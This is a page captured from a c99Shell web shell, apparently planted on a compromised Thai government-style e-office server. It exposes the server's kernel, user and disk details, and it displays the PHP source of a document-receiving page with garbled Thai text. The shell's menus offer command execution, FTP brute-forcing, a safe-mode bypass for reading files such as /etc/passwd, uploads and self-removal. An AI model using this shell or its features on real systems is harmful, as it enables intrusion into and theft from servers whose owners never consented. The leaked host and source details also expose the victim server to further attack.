!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     receiveDoc2.php (21.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc1 = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDoc4 = new Documents($oC);
$oDoc5 = new Documents($oC);
$oDoc5 = new Documents($oC);
$oDoc6 = new Documents($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDsl2 = new DocSpeedLevel($oC);
$oDcl2 = new DocSecretLevel($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
$InputThai=$oSys->SearchByInputThai();
if(
$_SESSION['DLCID'] && $_SESSION['one_position']!="1"){ include_once "selectposition.php";
        
$oDlc->SearchByKey($_SESSION['DLCID']); $oDlc->GetRecord(); 
        if(
$oDlc->DlpID=="1" || $oDlc->DlpID=="2"){   $deptcenter=1;  }
        if(
$oDlc->DlcActive=='Y'){
            
UpdateDocReceive($DLCID);
        }
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<script src="getinfo.js"></script>
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="receiveDoc.php">˹ѧÊ×Íà¢éÒ/ŧÃѺ</a>
    </font></legend>
        <form name="ff"  METHOD="POST" action="receiveDoc.php">
        <table align="center" width="98%">
        <tr>
            <td width="68%" height="25"><img src="../picture/official_letter.gif"   border="0" > 
              <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong> 
              Ë¹Ñ§Ê×Íà¢éÒ/ŧÃѺ</strong></font> </td>
          <td width="23%" align="right">&nbsp;</td>
          <td width="9%" align="right" >&nbsp;</td>
        </tr>
        <tr>
            <td colspan="3"><hr color="#000099"></hr></td>
        </tr>
      </table><br>
      <table width="99%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="<? echo "../picture/table_header_bg.gif"?>">
      <tr height=22>
      <td width="10%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>·Õè</strong></font></td>
      <td width="15%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>¨Ò¡/·ÕèÁÒ (µé¹àÃ×èͧ)</strong></font></td>
      <td width="23%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>àÃ×èͧ</strong></font></td>
      <td width="9%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>Çѹ·Õèä´éÃѺ˹ѧÊ×Í</strong></font></td>
      <td width="2%" align="center"><img src="../picture/rapid0.jpg"   border="0" ></td>
          <td width="2%" align="center"><img src="../picture/secret0.jpg"   border="0" ></td>
          </tr>
           <? if($s==""){  $s="1"; } 
                
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                if(
$oDlp1->DlpPID!="0"){ 
                    
$DlcPS2=$DLCID;
                 }else{
                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                }
                
                  
$oDoc->SearchReceiveDoc($DLCID,$MaxDocGroup,$DlcPS2);
                  
$i=0;                
                  while(
$oDoc->GetRecord()){ 
                    if((
$i%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22 align=\"left\">";
          
?>
       <td height="35">&nbsp;<? echo $oDoc->DocNo?></td>
      <td align="left">
      <? if($oDoc->DtID=="1" || $oDoc->DtID=="2" || $oDoc->DtID=="14"){
                        echo 
"&nbsp;".$oDoc->DocFrom."<br>";
            }else{
                if(
$oDoc->DocPID=="0"){
                        
$oDlc2->SearchByKey($oDoc->DlcID); $oDlc2->GetRecord();
                        
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();
                        echo 
"&nbsp;".$oDoc->DocFrom."<br>";
                        echo 
"&nbsp;(".$oDlp->DlpName.")";
                }else{
                        
$oDoc5->SearchByKey($oDoc->DocPID); $oDoc5->GetRecord();
                        
$oDlc2->SearchByKey($oDoc5->DlcID); $oDlc2->GetRecord();
                        
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();
                        echo 
"&nbsp;".$oDoc->DocFrom."<br>";
                        echo 
"&nbsp;(".$oDlp->DlpName.")";
                }
            }
      
?>
      </td>
      <td align="left">&nbsp;<a href="showReceiveDoc.php?DtID=<? echo $oDoc->DtID;?>&RsID=<? echo $oDoc->RsID?>&DocID=<?php echo $oDoc->DocID;?>&DrsID=<? echo $oDoc->DrsID?>"><? if($DtID=="13"){  echo "ª×èͼÙéä´éÃѺ¡ÒÃÃѺÃͧ<br>".$oDoc->CertificatePs;  }else{  echo $oDoc->DocSubject; } ?></a>
      </td>
      <td align="center">
              <?
                
list($DocD,$DocT) = preg_split('[ ]',$oDoc->DrsReceiveDate );
                echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
            
?></td>
       <? if($oDoc->DslID=="0"){ $rapid="../picture/rapid0.jpg";  $rapidname=$oDsl2->SearchName(0); }else if($oDoc->DslID=="1"){  $rapid="../picture/rapid1.jpg"$rapidname=$oDsl2->SearchName(1); }else if($oDoc->DslID=="2"){  $rapid="../picture/rapid2.jpg"$rapidname=$oDsl2->SearchName(2); }else if($oDoc->DslID=="3"){ $rapid="../picture/rapid3.jpg";  $rapidname=$oDsl2->SearchName(3); }else{  $rapid="../picture/blank.gif"$rapidname=""; }?>
            <td align="center"><img src="<? echo $rapid?>" title="<? echo $rapidname?>"  border="0" ></td>
              <? if($oDoc->DclID=="0"){ $secret="../picture/secret0.jpg"$secretname=$oDcl2->SearchName(0);  }else if($oDoc->DclID=="1"){  $secret="../picture/secret1.jpg"$secretname=$oDcl2->SearchName(1); }else if($oDoc->DclID=="2"){  $secret="../picture/secret2.jpg"$secretname=$oDcl2->SearchName(2); }else if($oDoc->DclID=="3"){ $secret="../picture/secret3.jpg";  $secretname=$oDcl2->SearchName(3); }else if($oDoc->DclID=="4"){   $secret="../picture/secret4.jpg"$secretname=$oDcl2->SearchName(4);   }else{  $secret="../picture/blank.gif";  $secretname=""; }?>    
            <td align="center"><img src="<? echo $secret?>" title="<? echo $secretname?>"  border="0" ></td>
      </tr>
          <? $i++; }   ?>
      </table>
        <table width="99%" align="center" border=0 cellpadding="0" cellspacing="0" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_13'];?>"  height="22">
        <? if($i=="0"){?>
          <tr height=22><td align="center" bgcolor="#FFFFFF"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** äÁèÁÕÃÒ¡ÒÃ˹ѧÊ×Íà¢éÒ **</font></td></tr>
          <? }  ?>
       <tr height=22><td align="right">&nbsp;</td></tr>
      </table> 
      
      
      
      

      <br>
      <? if($monthe==""){  $monthe=Date('m'); } if($searchYear==""){  $searchYear=Date('Y')+543; }  ?>
       <table  width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"> 
          <tr height=27 bgcolor="#FFFFFF" ><td align="left" >
        <?   if($deptcenter=="1"){  $showheader="ÃÒ¡ÒÃ˹ѧÊ×ÍÃѺÀÒ¹͡";   }else{    $showheader="ÃÒ¡ÒÃ˹ѧÊ×Í·Õèŧ·ÐàºÕ¹ÃѺ/·ÕèäÁèŧ·ÐàºÕ¹ÃѺ/á¨é§¡ÒÃÊ觼Դ";  }  ?>
          &nbsp;
           <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong> 
          <a id="openshow" <? if($flagshow=="1"){   ?>style="display:none; cursor:pointer"  <? }else{ ?> style="display:''; cursor:pointer"<? }?>   onclick="up_downList('<? if($flagshow=="1"){   echo "up"; }else{  echo "up"; }?>')"><img src="../picture/downshow.gif" title="áÊ´§"  border="0" >&nbsp;<U><? echo "áÊ´§".$showheader?></U></a>
          <a  id="closeshow" <? if($flagshow=="1"){   ?>style="display:''; cursor:pointer" <? }else{ ?>style="display:none; cursor:pointer"  <? }?> title="«è͹" onclick="up_downList('<? if($flagshow=="1"){  echo "down";  }else{  echo "down";  }?>')"><img src="../picture/downshow.gif" title="«è͹"  border="0" >&nbsp;<U><?  echo "«è͹".$showheader?></U></a>
          </strong></font>
          <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"   id="showtable" <? if($flagshow=="1"){   ?>style="display:''; border-collapse:collapse" <? }else{ ?>style="display:none; border-collapse:collapse"  <? }?>>
          <tr><td>
          <div id="showselect">
           <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr><td align="right">
            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">
            <?  if($deptcenter!="1"){     ?>
            ÃÒ¡ÒÃ˹ѧÊ×Í
            <select name="s" onChange="ShowInfoReceive('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>')" id="s">
            <option value="1" <? if($s=="" || $s=="1"){ echo "selected";   }?>>·Õèŧ·ÐàºÕ¹ÃѺ</option>
            <option value="6" <? if($s=="6"){ echo "selected";   }?>>·ÕèäÁèŧ·ÐàºÕ¹ÃѺ</option>
            <option value="7" <? if($s=="7"){ echo "selected";   }?>>·Õèá¨é§¡ÒÃÊ觼Դ</option>  
            </select>
            <br><br>
            <? }else{ ?><input type="hidden" name="s" id="s"  value="<? echo $s?>"> <?  ?>
            ¤é¹ËÒ˹ѧÊ×Í (àÃ×èͧ/ÇèÒ´éÇÂ)</font>&nbsp;<input name="searchName"  id="searchName"  type="text" size="25" value="<? echo a2th($searchName); ?>">&nbsp;<font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(·Õè/©ºÑº·Õè/¤ÃÑ駷Õè/àÅ¢·Õè)</font>&nbsp;<input name="searchNo" id="searchNo"  type="text" size="20" value="<? echo a2th($searchNo); ?>"><br>
            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">(àÅ¢ÃѺ) ¨Ò¡</font>&nbsp;<input name="searchTypeNoF" id="searchTypeNoF"  type="text" value="<? echo a2th($searchTypeNoF); ?>" size="6">
            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">¶Ö§</font>&nbsp;<input name="searchTypeNoT"  id="searchTypeNoT"  type="text" value="<? echo a2th($searchTypeNoT); ?>" size="6">
            <br>
            &nbsp;&nbsp;»ÃШÓà´×͹</font>&nbsp;
            <select name="monthe" id="monthe" onChange="ShowInfoReceive('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>')">
                <option value="01" <? if($monthe=="01"){ echo "selected";   }?>>Á.¤.</option>
                <option value="02" <? if($monthe=="02"){ echo "selected";   }?>>¡.¾.</option>
                <option value="03" <? if($monthe=="03"){ echo "selected";   }?>>ÁÕ.¤.</option>
                <option value="04" <? if($monthe=="04"){ echo "selected";   }?>>àÁ.Â.</option>
                <option value="05" <? if($monthe=="05"){ echo "selected";   }?>>¾.¤.</option>
                <option value="06" <? if($monthe=="06"){ echo "selected";   }?>>ÁÔ.Â.</option>
                <option value="07" <? if($monthe=="07"){ echo "selected";   }?>>¡.¤.</option>
                <option value="08" <? if($monthe=="08"){ echo "selected";   }?>>Ê.¤.</option>
                <option value="09" <? if($monthe=="09"){ echo "selected";   }?>>¡.Â.</option>
                <option value="10" <? if($monthe=="10"){ echo "selected";   }?>>µ.¤.</option>
                <option value="11" <? if($monthe=="11"){ echo "selected";   }?>>¾.Â.</option>
                <option value="12" <? if($monthe=="12"){ echo "selected";   }?>>¸.¤.</option>
              </select>
                    &nbsp;<input name="searchYear" id="searchYear"   type="text" size="5" maxlength="5" value=<? if($searchYear!=""){  echo a2th($searchYear);  }else{  echo a2th(Date('Y')+543); } ?> onKeyUp="On_Year('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>')" onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;"><input name="searchNamesub" type="button" value="¤é¹ËÒ" onClick="ShowInfoReceive('<?php echo $DLCID?>','<?php echo $MaxDocGroup?>','<?php echo $DlcPS2;  ?>')">
                    
                    </td></tr>
            </table>
         <table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"  style="border-collapse:collapse" background="<? echo "../picture/table_header_bg5.gif";  ?>">
             <?  $flagshow=1;?>
              <tr height=22>
              <td width="6%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">àÅ¢ÃѺ</font></td>
              <td width="17%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">·Õè</font></td>
              <td width="23%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">¨Ò¡/·ÕèÁÒ (µé¹àÃ×èͧ)</font></td>
              <td width="25%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">àÃ×èͧ</font></td>
              <td width="14%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><?  if($deptcenter=="1"){   echo "ŧÇѹ·Õè";  }else{   echo "Çѹ·Õèä´éÃѺ˹ѧÊ×Í";  } ?></font></td>
              <td width="15%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">Çѹ·Õè<?  if($s=="" || $s=="6" && $deptcenter!="1"){ echo "äÁè";   }   if($s=="7"){  echo "á¨é§¡ÒÃÊ觼Դ";  }else{  echo "ŧÃѺ˹ѧÊ×Í";  }?></font></td>
                  </tr>
            <?
            $numrow
=0
            if(
$oDlp1->DlpPID!="0"){ 
                    
$DlcPS2_=$DLCID;
            }else{
                    
$DlcPS2_=$DlcPS2;
            }
    
            if(
$deptcenter=="1"){  
                    
$numRow=$oDoc3->SearchCountReceivedDocDeptCenter($DLCID,$MaxDocGroup,$DlcPS2_,$monthe,th2a($searchYear),$s,th2a($searchName),th2a($searchNo),th2a($searchTypeNoF),th2a($searchTypeNoT));
            }else{ 
                    
$numRow=$oDoc3->SearchCountReceivedDocNoDeptCenter($DLCID,$MaxDocGroup,$DlcPS2_,$monthe,th2a($searchYear),$s,th2a($searchName),th2a($searchNo),th2a($searchTypeNoF),th2a($searchTypeNoT));
            }

            
$page_size 10;
            
$total_page = (int)($numRow/$page_size);
            if((
$numRow%$page_size) != 0)
                    
$total_page++;

            if(isset(
$page_id))
                    
$start $page_size*($page_id-1);
            else {
                    
$page_id 1;
                    
$start 0;
            }
            
$z=0;
            
            if(
$deptcenter=="1"){  
                    
$oDoc4->SearchReceivedDocDeptCenter($DLCID,$MaxDocGroup,$DlcPS2_$start$page_size,$monthe,th2a($searchYear),$s,th2a($searchName),th2a($searchNo),th2a($searchTypeNoF),th2a($searchTypeNoT));
            }else{ 
                    
$oDoc4->SearchReceivedDocNoDeptCenter($DLCID,$MaxDocGroup,$DlcPS2_$start$page_size,$monthe,th2a($searchYear),$s,th2a($searchName),th2a($searchNo),th2a($searchTypeNoF),th2a($searchTypeNoT));
            }

            while(
$oDoc4->GetRecord()){ 
            if((
$z%2) == 0
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22>";
            
?>
            <td height="35" align="center">&nbsp;<? if($s=="6" || $s=="7"){   echo '-'; }else{   echo a2th($oDoc4->DocTypeNo);  } ?></td>
            <td height="35">&nbsp;<? echo $oDoc4->DocNo?></td>
            <td><?  
            
if($oDoc4->DtID=="1" || $oDoc4->DtID=="2" || $oDoc4->DtID=="14"){
                        echo 
"&nbsp;".$oDoc4->DocFrom."<br>";
            }else{
                    if(
$oDoc4->DocPID=="0"){
                            
$oDlc2->SearchByKey($oDoc4->DlcID); $oDlc2->GetRecord();
                            
$oDlp->SearchByKey($oDlc2->DlpID);  $oDlp->GetRecord();
                            echo 
"&nbsp;".$oDoc4->DocFrom."<br>";
                            echo 
"&nbsp;(".$oDlp->DlpName.")";                            
                    }else{  
                            
$oDoc6->SearchByKey($oDoc4->DocPID); $oDoc6->GetRecord();
                            
$oDlc3->SearchByKey($oDoc6->DlcID); $oDlc3->GetRecord();
                            
$oDP->SearchByKey($oDlc3->deptId); $oDP->GetRecord();  
                            echo 
"&nbsp;".$oDoc4->DocFrom."<br>";
                            echo 
"&nbsp;(".$oDlp->DlpName.")";
                            
                    }
            }
      
?></td>
            <td align="left">&nbsp;<a href="showNoAcceptDoc.php?s=<? echo $s?>&flagshow=<? echo $flagshow?>&DtID=<? echo $oDoc4->DtID;?>&RsID=<? echo $oDoc4->RsID?>&DocID=<?php echo $oDoc4->DocID;?>&DrsID=<? echo $oDoc4->DrsID?>&monthe=<? echo $monthe;?>&searchYear=<? echo $searchYear?>&searchName=<? echo $searchName?>&searchNo=<? echo $searchNo?>&deptcenter=<? echo $deptcenter?>"><? if($DtID=="13"){  echo "ª×èͼÙéä´éÃѺ¡ÒÃÃѺÃͧ<br>".$oDoc4->CertificatePs;  }else{  echo $oDoc4->DocSubject; } ?></a>
            <?  if($oDlp1->DlpPID!="0"){   if($DLCID==$oDoc4->DlcID){   echo "&nbsp;<font color=\"#029b0a\"><storng>[ÃÑ¡ÉÒ¡ÒÃ]</strong></font>"; }} ?>
             <?  if($oDlp1->DlpPID=="0"){   if($DlcPS2_==$oDoc4->DlcID){   echo "&nbsp;<font color=\"#029b0a\"><storng>[ÃÑ¡ÉÒ¡ÒÃ]</strong></font>"; }} ?>
            </td>
            <td align="center">
              <?   
                     
if($deptcenter=="1"){   
                             echo 
abbreDate2($oDoc4->DocDate,'/');
                      }else{  
                           if(
$s=="" || $s=="6"){ 
                                list(
$DocD,$DocT) = preg_split('[ ]',$oDoc4->DocDateCreate);
                                echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
                            }else{
                                
$oRs3->SearchByKey($oDoc4->DrsFromDrsID); 
                                
$oRs3->GetRecord();
                                list(
$DocD,$DocT) = preg_split('[ ]',$oRs3->DrsReceiveDate);
                                echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
                            }
                        }
            
?></td>
            <td align="center"> 
              <? 
              
if($oDoc4->DrsReceiveDate!="0000-00-00 00:00:00"){
                         list(
$DocD,$DocT) = preg_split('[ ]',$oDoc4->DrsReceiveDate);
                        echo 
abbreDate2($DocD,'/')."<br>".a2th($DocT);
                }
                
?>
                </td></tr>
            <? $z++;  }   ?> 
           <? if($z=="0"){?>
          <tr height=22><td align="center" bgcolor="#FFFFFF" colspan="8"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** äÁèÁÕÃÒ¡ÒÃ˹ѧÊ×Í·Õè<?  if($s=="" || $s=="6" && $deptcenter!="1"){ echo "äÁè";   }   if($s=="7"){  echo "á¨é§¡ÒÃÊ觼Դ";  }else{  echo "ŧÃѺ";  } ?> **</font></td></tr>
          <? }  ?>
           <tr height=22 bgcolor="#DADADA"><td align="right" colspan="8"><strong>˹éÒ-&gt;</strong>
<?php
                    
for ($num=1$num<=$total_page$num++) {    
                        if(
$num == $page_id)
                            echo  
a2th($num)." ";
                        else {
?>
                            <a href="receiveDoc.php?page_id=<?php echo $num;?>&flagshow=<? echo $flagshow?>&monthe=<? echo $monthe;?>&searchYear=<? echo $searchYear?>&s=<? echo $s?>&searchName=<? echo $searchName;?>&searchNo=<?  echo $searchNo?>&deptcenter=<? echo $deptcenter?>"><?php echo '[ 'a2th($num).' ]'; if($num==14){echo "<br>";}?></a>
<?php
                        
}
                    }
?>&nbsp;&nbsp;</td></tr>
          </table>
        </div></td></tr></table>
          </td></tr>
    </table><br><input type="hidden" name="flagshow"   id="flagshow"   value="<? echo $flagshow?>">
      </form></fieldset> 
      <table width="99%" border="0" align="center">
        <tr> 
          <td width="134" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>ËÁÒÂà˵ؠ
            : </strong>&nbsp;</font></td>
          <td width="1070" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">¤ÅÔ¡·ÕèàÃ×èͧ˹ѧÊ×Íà¾×èÍŧÃѺ˹ѧÊ×Í</font></td>
        </tr>
         <tr> 
          <td width="134" align="left">&nbsp;</td>
          <td colspan="2" align="left">
          <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ªÑ鹤ÇÒÁàÃçÇ&nbsp;
            <? $oDsl->RSDocSpeedLevel();  $r=0; while($oDsl->GetRecord()){  
                    if(
$oDsl->DslID=="0"){  $picsp="../picture/rapid0.jpg"; }else if($oDsl->DslID=="1"){ $picsp="../picture/rapid1.jpg";  }else if($oDsl->DslID=="2"){ $picsp="../picture/rapid2.jpg";   }else if($oDsl->DslID=="3"){ $picsp="../picture/rapid3.jpg";  } else if($oDsl->DslID=="4"){ $picsp="../picture/rapid4.jpg";  } 
             
?> <img src="<? echo $picsp?>"   border="0" > <? echo "&nbsp;".$oDsl->DslName."&nbsp;&nbsp;"$r++; }?>
            </font></td>
        </tr>
        <tr> 
          <td width="134">&nbsp;</td>
          <td colspan="2" align="left">
          <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">ªÑ鹤ÇÒÁÅѺ&nbsp;
            <? $oDcl->RSDocSecretLevel();  $r=0; while($oDcl->GetRecord()){  
            if(
$oDcl->DclID=="0"){  $piccl="../picture/secret0.jpg"; }else if($oDcl->DclID=="1"){ $piccl="../picture/secret1.jpg";  }else if($oDcl->DclID=="2"){ $piccl="../picture/secret2.jpg";   }else if($oDcl->DclID=="3"){ $piccl="../picture/secret3.jpg";  } else if($oDcl->DclID=="4"){ $piccl="../picture/secret4.jpg";  } 
             
?><img src="<? echo $piccl?>"   border="0" > <? echo "&nbsp;".$oDcl->DclName."&nbsp;&nbsp;"$r++; }?>
            </font></td>
        </tr>
      </table>
</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<script language="javascript">
function showDoc(){
    document.ff.submit();
}
function up_downList(status){    
    if(status=='up'){
        closeshow.style.display='';
        openshow.style.display='none';
        showtable.style.display='';
    }else{
        openshow.style.display='';
        closeshow.style.display='none';
        showtable.style.display='none';
    }
}
function On_Month(){
      searchYear=document.ff.searchYear.value;
      if (searchYear=="") {
      alert('¡ÃسҡÃÍ¡»Õ');
      document.ff.searchYear.focus();
      return false ;
   }
    document.ff.flagshow.value=1;
    document.ff.submit();
}
function On_Year(DLCID,MaxDocGroup,DlcPS2){
    searchYear=document.ff.searchYear.value;
    if (searchYear.length == 4) {
        ShowInfoReceive(DLCID,MaxDocGroup,DlcPS2);
    }
}
function changeS(){
        document.ff.submit();
}
function changeS2(){
        if(document.ff.searchName.value==""){
            document.ff.searchName.value="";
        }
        if(document.ff.searchNo.value==""){
            document.ff.searchNo.value="";
        }        
        document.ff.submit();
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0184 ]--